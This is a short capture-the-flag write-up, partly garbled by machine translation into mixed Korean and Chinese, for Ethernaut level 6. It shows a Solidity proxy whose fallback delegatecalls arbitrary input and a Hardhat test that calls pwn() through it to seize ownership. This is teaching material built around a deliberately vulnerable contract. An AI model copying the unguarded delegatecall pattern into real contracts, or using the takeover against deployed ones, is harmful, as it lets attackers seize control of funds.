Ethernaut系列-레벨 6(델리게이트)
레벨 6(대표)
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
contract Delegate {
address public owner;
constructor(address _owner) public {
owner = _owner;
}
function pwn() public {
owner = msg.sender;
}
}
contract Delegation {
address public owner;
Delegate delegate;
constructor(address _delegateAddress) public {
delegate = Delegate(_delegateAddress);
owner = msg.sender;
}
fallback() external {
(bool result,) = address(delegate).delegatecall(msg.data);
if (result) {
this;
}
}
}
通关要求
获取owner
要点
delegatecall 사용 방법 스토리지
delegatecall의 중요한 사건이 더 많고, 새로운 소식이 있습니다(2022-05-21).
https://medium.com/immunefi/wormhole-uninitialized-proxy-bugfix-review-90250c41a43a
解题思路
javascript를 사용할 수 있습니다.
it("attacks", async function () {
//代理,不能直接调用await levelContract.pwd(),会找到方法,abi没有
const contract = await ethers.getContractAt(
"Delegate",
levelContract.address,
player
);
await contract.pwn();
});
Reference
이 문제에 관하여(Ethernaut系列-레벨 6(델리게이트)), 우리는 이곳에서 더 많은 자료를 발견하고 링크를 클릭하여 보았다 https://dev.to/bin2chen/ethernautxi-lie-level-6delegate-31gk텍스트를 자유롭게 공유하거나 복사할 수 있습니다.하지만 이 문서의 URL은 참조 URL로 남겨 두십시오.
우수한 개발자 콘텐츠 발견에 전념 (Collection and Share based on the CC Protocol.)